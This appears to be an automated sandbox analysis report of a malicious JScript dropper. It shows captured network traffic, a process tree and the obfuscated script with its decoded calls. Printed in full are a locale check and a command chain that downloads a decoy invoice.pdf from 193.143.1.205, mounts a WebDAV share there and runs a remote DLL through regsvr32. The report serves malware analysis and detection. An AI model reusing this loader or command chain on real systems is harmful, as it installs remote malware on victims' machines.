obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:23:56.882055044 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:23:56.882074118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 21:23:56.882086039 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 21:23:56.882098913 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 21:23:56.882112980 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 21:23:56.882126093 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 21:23:56.882144928 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 21:23:56.882158995 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 10, 2025 21:23:56.882174015 CET	1000	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 10, 2025 21:23:56.886951923 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49740	193.143.1.205	8888	4072	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:23:58.453042030 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:23:59.270507097 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:23:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	15:23:51
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js"
Imagebase:	0x7ff6bbef0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:23:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Imagebase:	0x7ff6c9220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:23:52
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:23:52
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:23:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:23:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c9220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:23:56
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cf5e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:23:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:23:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:23:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1372,i,4550130085711816893,7265772474360566291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ylizs() {	ylizs() ➔ undefined
1	lhbgw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mvqdcvw = this[rpknlmxrg + daktb + jmkqddb + qwuozv + dicayy + dpsssbox + vvbgsu + sjirb] ( this[nxcawff + vdbjw + kxbhkd + jmkqddb + wdbglbgl + rpknlmxrg + sjirb][nwloc + jmkqddb + dicayy + daktb + sjirb + dicayy + lrthh + szoii + vvkgqdxxb + dicayy + kxbhkd + sjirb] ( nxcawff + vdbjw + kxbhkd + jmkqddb + wdbglbgl + rpknlmxrg + sjirb + vppumzymx + vdbjw + tezvwozdm + dicayy + gndhem + gndhem ) [bnxfrx + dicayy + qozjgsp + bnxfrx + dicayy + daktb + nadfx] ( lqggrl + aolnjxhra + vxmsvb + kqxadafn + nxvrpj + nwloc + hplavc + bnxfrx + bnxfrx + vxmsvb + zcwgbz + onyovkv + nxvrpj + hplavc + vdbjw + vxmsvb + bnxfrx + ldkgctdba + nwloc + qlmicjh + vvbgsu + sjirb + jmkqddb + qlmicjh + gndhem + ngrrv + lzjsr + daktb + vvbgsu + dicayy + gndhem + ldkgctdba + dpsssbox + vvbgsu + sjirb + dicayy + jmkqddb + vvbgsu + daktb + sjirb + wdbglbgl + qlmicjh + vvbgsu + daktb + gndhem + ldkgctdba + acrwzlh + qlmicjh + kxbhkd + daktb + gndhem + dicayy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( skhatgf = 0 ; skhatgf < lhbgw[gndhem + dicayy + vvbgsu + qozjgsp + sjirb + tezvwozdm] ; ++ skhatgf )
4	{
5	if ( mvqdcvw == lhbgw[skhatgf] )
6	{
7	mvqdcvw = true;
8	break ;
9	}
10	}
11	if ( mvqdcvw !== true )
12	this[nxcawff + vdbjw + kxbhkd + jmkqddb + wdbglbgl + rpknlmxrg + sjirb][mxhorbw + dhbrhuk + wdbglbgl + sjirb] ( );
13	this[nxcawff + vdbjw + kxbhkd + jmkqddb + wdbglbgl + rpknlmxrg + sjirb][nwloc + jmkqddb + dicayy + daktb + sjirb + dicayy + lrthh + szoii + vvkgqdxxb + dicayy + kxbhkd + sjirb] ( nxcawff + vdbjw + kxbhkd + jmkqddb + wdbglbgl + rpknlmxrg + sjirb + vppumzymx + vdbjw + tezvwozdm + dicayy + gndhem + gndhem ) [jmkqddb + dhbrhuk + vvbgsu] ( kxbhkd + qfjsrnzau + nadfx + ngrrv + esprfptif + kxbhkd + ngrrv + rpknlmxrg + qlmicjh + ksihdyl + dicayy + jmkqddb + qwuozv + tezvwozdm + dicayy + gndhem + gndhem + vppumzymx + dicayy + grljrowas + dicayy + ngrrv + asdfsmpt + nwloc + qlmicjh + qfjsrnzau + qfjsrnzau + daktb + vvbgsu + nadfx + ngrrv + bonfx + dpsssbox + vvbgsu + jdbvovfg + qlmicjh + cwfwhe + dicayy + asdfsmpt + nxcawff + dicayy + szoii + bnxfrx + dicayy + uhbbonoau + dhbrhuk + dicayy + qwuozv + sjirb + ngrrv + asdfsmpt + lrthh + dhbrhuk + sjirb + vcyzctp + wdbglbgl + gndhem + dicayy + ngrrv + eboqrcdw + sjirb + dicayy + qfjsrnzau + rpknlmxrg + eboqrcdw + ldkgctdba + wdbglbgl + vvbgsu + jdbvovfg + qlmicjh + wdbglbgl + kxbhkd + dicayy + vppumzymx + rpknlmxrg + nadfx + xtzxrms + ngrrv + tezvwozdm + sjirb + sjirb + rpknlmxrg + lirqhbu + esprfptif + esprfptif + qekxqk + joodee + wrphfung + vppumzymx + qekxqk + vwhnv + wrphfung + vppumzymx + qekxqk + vppumzymx + ekhqc + nnenktdn + byubjrtpy + esprfptif + wdbglbgl + vvbgsu + jdbvovfg + qlmicjh + wdbglbgl + kxbhkd + dicayy + vppumzymx + rpknlmxrg + tezvwozdm + rpknlmxrg + bonfx + rjmux + rjmux + qwuozv + sjirb + daktb + jmkqddb + sjirb + ngrrv + eboqrcdw + sjirb + dicayy + qfjsrnzau + rpknlmxrg + eboqrcdw + ldkgctdba + wdbglbgl + vvbgsu + jdbvovfg + qlmicjh + wdbglbgl + kxbhkd + dicayy + vppumzymx + rpknlmxrg + nadfx + xtzxrms + rjmux + rjmux + kxbhkd + qfjsrnzau + nadfx + ngrrv + esprfptif + kxbhkd + ngrrv + vvbgsu + dicayy + sjirb + ngrrv + dhbrhuk + qwuozv + dicayy + ngrrv + ldkgctdba + ldkgctdba + qekxqk + joodee + wrphfung + vppumzymx + qekxqk + vwhnv + wrphfung + vppumzymx + qekxqk + vppumzymx + ekhqc + nnenktdn + byubjrtpy + dyaklznj + hhpolfz + hhpolfz + hhpolfz + hhpolfz + ldkgctdba + nadfx + daktb + jdbvovfg + ksihdyl + ksihdyl + ksihdyl + jmkqddb + qlmicjh + qlmicjh + sjirb + ldkgctdba + rjmux + rjmux + kxbhkd + qfjsrnzau + nadfx + ngrrv + esprfptif + kxbhkd + ngrrv + jmkqddb + dicayy + qozjgsp + qwuozv + jdbvovfg + jmkqddb + wrphfung + ekhqc + ngrrv + esprfptif + qwuozv + ngrrv + ldkgctdba + ldkgctdba + qekxqk + joodee + wrphfung + vppumzymx + qekxqk + vwhnv + wrphfung + vppumzymx + qekxqk + vppumzymx + ekhqc + nnenktdn + byubjrtpy + dyaklznj + hhpolfz + hhpolfz + hhpolfz + hhpolfz + ldkgctdba + nadfx + daktb + jdbvovfg + ksihdyl + ksihdyl + ksihdyl + jmkqddb + qlmicjh + qlmicjh + sjirb + ldkgctdba + vwhnv + wtnkslwqh + nnenktdn + qekxqk + hhpolfz + joodee + wtnkslwqh + vvbbb + qekxqk + vwhnv + qekxqk + vvbbb + nnenktdn + vppumzymx + nadfx + gndhem + gndhem, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll",0,false) ➔ 0
14	}
15	gndhem = "c";
16	gndhem = "b";
17	gndhem = "H";
18	gndhem = "W";
19	gndhem = "n";
20	gndhem = "V";
21	gndhem = "K";
22	gndhem = "l";
23	gndhem = "G";
24	gndhem = "P";
25	gndhem = "H";
26	gndhem = "h";
27	gndhem = "q";
28	gndhem = "n";
29	gndhem = "m";
30	gndhem = "z";
31	gndhem = "l";
32	asdfsmpt = "a";
33	asdfsmpt = "D";
34	asdfsmpt = "I";
35	asdfsmpt = "o";
36	asdfsmpt = "t";
37	asdfsmpt = "r";
38	asdfsmpt = "j";
39	asdfsmpt = "S";
40	asdfsmpt = "N";
41	asdfsmpt = "Z";
42	asdfsmpt = "d";
43	asdfsmpt = "p";
44	asdfsmpt = "f";
45	asdfsmpt = "d";
46	asdfsmpt = "A";
47	asdfsmpt = "D";
48	asdfsmpt = "u";
49	asdfsmpt = "j";
50	asdfsmpt = "u";
51	asdfsmpt = "N";
52	asdfsmpt = "P";
53	asdfsmpt = "G";
54	asdfsmpt = "o";
55	asdfsmpt = "c";
56	asdfsmpt = "C";
57	asdfsmpt = "d";
58	asdfsmpt = "o";
59	asdfsmpt = "N";
60	asdfsmpt = "Y";
61	asdfsmpt = "B";
62	asdfsmpt = "l";
63	asdfsmpt = "o";
64	asdfsmpt = "G";
65	asdfsmpt = "m";
66	asdfsmpt = "t";
67	asdfsmpt = "-";
68	zcwgbz = "o";
69	zcwgbz = "c";
70	zcwgbz = "f";
71	zcwgbz = "e";
72	zcwgbz = "E";
73	zcwgbz = "g";
74	zcwgbz = "q";
75	zcwgbz = "B";
76	zcwgbz = "m";
77	zcwgbz = "o";
78	zcwgbz = "U";
79	zcwgbz = "X";
80	zcwgbz = "J";
81	zcwgbz = "y";
82	zcwgbz = "o";
83	zcwgbz = "N";
84	uhbbonoau = "h";
85	uhbbonoau = "y";
86	uhbbonoau = "g";
87	uhbbonoau = "k";
88	uhbbonoau = "k";
89	uhbbonoau = "p";
90	uhbbonoau = "N";
91	uhbbonoau = "q";
92	uhbbonoau = "u";
93	uhbbonoau = "s";
94	uhbbonoau = "o";
95	uhbbonoau = "C";
96	uhbbonoau = "A";
97	uhbbonoau = "K";
98	uhbbonoau = "K";
99	uhbbonoau = "S";
100	uhbbonoau = "v";
101	uhbbonoau = "d";
102	uhbbonoau = "v";
103	uhbbonoau = "H";
104	uhbbonoau = "F";
105	uhbbonoau = "C";
106	uhbbonoau = "N";
107	uhbbonoau = "T";
108	uhbbonoau = "D";
109	uhbbonoau = "q";
110	acrwzlh = "f";
111	acrwzlh = "L";
112	ekhqc = "g";
113	ekhqc = "g";
114	ekhqc = "O";
115	ekhqc = "S";
116	ekhqc = "D";
117	ekhqc = "G";
118	ekhqc = "F";
119	ekhqc = "M";
120	ekhqc = "A";
121	ekhqc = "l";
122	ekhqc = "m";
123	ekhqc = "K";
124	ekhqc = "C";
125	ekhqc = "S";
126	ekhqc = "P";
127	ekhqc = "Q";
128	ekhqc = "u";
129	ekhqc = "k";
130	ekhqc = "w";
131	ekhqc = "m";
132	ekhqc = "Y";
133	ekhqc = "2";
134	vvbgsu = "G";
135	vvbgsu = "N";
136	vvbgsu = "a";
137	vvbgsu = "n";
138	vvbgsu = "I";
139	vvbgsu = "b";
140	vvbgsu = "d";
141	vvbgsu = "k";
142	vvbgsu = "z";
143	vvbgsu = "Q";
144	vvbgsu = "u";
145	vvbgsu = "b";
146	vvbgsu = "D";
147	vvbgsu = "X";
148	vvbgsu = "n";
149	lzjsr = "W";
150	lzjsr = "v";
151	lzjsr = "N";
152	lzjsr = "l";
153	lzjsr = "W";
154	lzjsr = "z";
155	lzjsr = "e";
156	lzjsr = "I";
157	lzjsr = "g";
158	lzjsr = "J";
159	lzjsr = "T";
160	lzjsr = "B";
161	lzjsr = "I";
162	lzjsr = "S";
163	lzjsr = "C";
164	lzjsr = "M";
165	lzjsr = "M";
166	lzjsr = "S";
167	lzjsr = "s";
168	lzjsr = "F";
169	lzjsr = "s";
170	lzjsr = "P";
171	lzjsr = "i";
172	lzjsr = "H";
173	lzjsr = "u";
174	lzjsr = "o";
175	lzjsr = "w";
176	lzjsr = "w";
177	lzjsr = "E";
178	lzjsr = "P";
179	lzjsr = "P";
180	rpknlmxrg = "B";
181	rpknlmxrg = "k";
182	rpknlmxrg = "c";
183	rpknlmxrg = "e";
184	rpknlmxrg = "A";
185	rpknlmxrg = "d";
186	rpknlmxrg = "K";
187	rpknlmxrg = "B";
188	rpknlmxrg = "X";
189	rpknlmxrg = "G";
190	rpknlmxrg = "n";
191	rpknlmxrg = "C";
192	rpknlmxrg = "c";
193	rpknlmxrg = "P";
194	rpknlmxrg = "P";
195	rpknlmxrg = "b";
196	rpknlmxrg = "p";
197	joodee = "Y";
198	joodee = "K";
199	joodee = "h";
200	joodee = "C";
201	joodee = "Y";
202	joodee = "F";
203	joodee = "R";
204	joodee = "k";
205	joodee = "y";
206	joodee = "W";
207	joodee = "N";
208	joodee = "I";
209	joodee = "o";
210	joodee = "q";
211	joodee = "b";
212	joodee = "a";
213	joodee = "k";
214	joodee = "k";
215	joodee = "c";
216	joodee = "t";
217	joodee = "f";
218	joodee = "Y";
219	joodee = "J";
220	joodee = "a";
221	joodee = "N";
222	joodee = "Y";
223	joodee = "N";
224	joodee = "T";
225	joodee = "r";
226	joodee = "E";
227	joodee = "W";
228	joodee = "9";
229	vvkgqdxxb = "j";
230	vvkgqdxxb = "w";
231	vvkgqdxxb = "F";
232	vvkgqdxxb = "H";
233	vvkgqdxxb = "j";
234	vvkgqdxxb = "F";
235	vvkgqdxxb = "I";
236	vvkgqdxxb = "q";
237	vvkgqdxxb = "E";
238	vvkgqdxxb = "e";
239	vvkgqdxxb = "T";
240	vvkgqdxxb = "M";
241	vvkgqdxxb = "A";
242	vvkgqdxxb = "w";
243	vvkgqdxxb = "p";
244	vvkgqdxxb = "O";
245	vvkgqdxxb = "V";
246	vvkgqdxxb = "w";
247	vvkgqdxxb = "r";
248	vvkgqdxxb = "H";
249	vvkgqdxxb = "U";
250	vvkgqdxxb = "N";
251	vvkgqdxxb = "R";
252	vvkgqdxxb = "w";
253	vvkgqdxxb = "N";
254	vvkgqdxxb = "E";
255	vvkgqdxxb = "J";
256	vvkgqdxxb = "j";
257	qwuozv = "l";
258	qwuozv = "N";
259	qwuozv = "H";
260	qwuozv = "V";
261	qwuozv = "R";
262	qwuozv = "y";
263	qwuozv = "d";
264	qwuozv = "l";
265	qwuozv = "O";
266	qwuozv = "W";
267	qwuozv = "q";
268	qwuozv = "Q";
269	qwuozv = "i";
270	qwuozv = "H";
271	qwuozv = "j";
272	qwuozv = "t";
273	qwuozv = "R";
274	qwuozv = "t";
275	qwuozv = "B";
276	qwuozv = "h";
277	qwuozv = "C";
278	qwuozv = "U";
279	qwuozv = "s";
280	wdbglbgl = "U";
281	wdbglbgl = "t";
282	wdbglbgl = "k";
283	wdbglbgl = "s";
284	wdbglbgl = "I";
285	wdbglbgl = "T";
286	wdbglbgl = "j";
287	wdbglbgl = "H";
288	wdbglbgl = "c";
289	wdbglbgl = "d";
290	wdbglbgl = "R";
291	wdbglbgl = "J";
292	wdbglbgl = "q";
293	wdbglbgl = "Q";
294	wdbglbgl = "C";
295	wdbglbgl = "d";
296	wdbglbgl = "g";
297	wdbglbgl = "i";
298	wdbglbgl = "P";
299	wdbglbgl = "M";
300	wdbglbgl = "Q";
301	wdbglbgl = "O";
302	wdbglbgl = "A";
303	wdbglbgl = "c";
304	wdbglbgl = "a";
305	wdbglbgl = "n";
306	wdbglbgl = "o";
307	wdbglbgl = "Q";
308	wdbglbgl = "s";
309	wdbglbgl = "v";
310	wdbglbgl = "O";
311	wdbglbgl = "f";
312	wdbglbgl = "N";
313	wdbglbgl = "G";
314	wdbglbgl = "M";
315	wdbglbgl = "q";
316	wdbglbgl = "x";
317	wdbglbgl = "v";
318	wdbglbgl = "A";
319	wdbglbgl = "r";
320	wdbglbgl = "I";
321	wdbglbgl = "i";
322	dhbrhuk = "Y";
323	dhbrhuk = "M";
324	dhbrhuk = "I";
325	dhbrhuk = "Q";
326	dhbrhuk = "T";
327	dhbrhuk = "e";
328	dhbrhuk = "A";
329	dhbrhuk = "h";
330	dhbrhuk = "o";
331	dhbrhuk = "X";
332	dhbrhuk = "Z";
333	dhbrhuk = "W";
334	dhbrhuk = "Z";
335	dhbrhuk = "V";
336	dhbrhuk = "F";
337	dhbrhuk = "t";
338	dhbrhuk = "s";
339	dhbrhuk = "b";
340	dhbrhuk = "F";
341	dhbrhuk = "u";
342	sjirb = "r";
343	sjirb = "t";
344	sjirb = "a";
345	sjirb = "t";
346	onyovkv = "A";
347	onyovkv = "A";
348	onyovkv = "e";
349	onyovkv = "H";
350	onyovkv = "X";
351	onyovkv = "K";
352	onyovkv = "K";
353	onyovkv = "d";
354	onyovkv = "l";
355	onyovkv = "t";
356	onyovkv = "B";
357	onyovkv = "K";
358	onyovkv = "i";
359	onyovkv = "N";
360	onyovkv = "i";
361	onyovkv = "c";
362	onyovkv = "j";
363	onyovkv = "Q";
364	onyovkv = "x";
365	onyovkv = "O";
366	onyovkv = "J";
367	onyovkv = "G";
368	onyovkv = "u";
369	onyovkv = "m";
370	onyovkv = "Y";
371	onyovkv = "R";
372	onyovkv = "B";
373	onyovkv = "q";
374	onyovkv = "O";
375	onyovkv = "n";
376	onyovkv = "a";
377	onyovkv = "q";
378	onyovkv = "g";
379	onyovkv = "T";
380	lrthh = "o";
381	lrthh = "T";
382	lrthh = "t";
383	lrthh = "g";
384	lrthh = "L";
385	lrthh = "G";
386	lrthh = "U";
387	lrthh = "S";
388	lrthh = "O";
389	kxbhkd = "n";
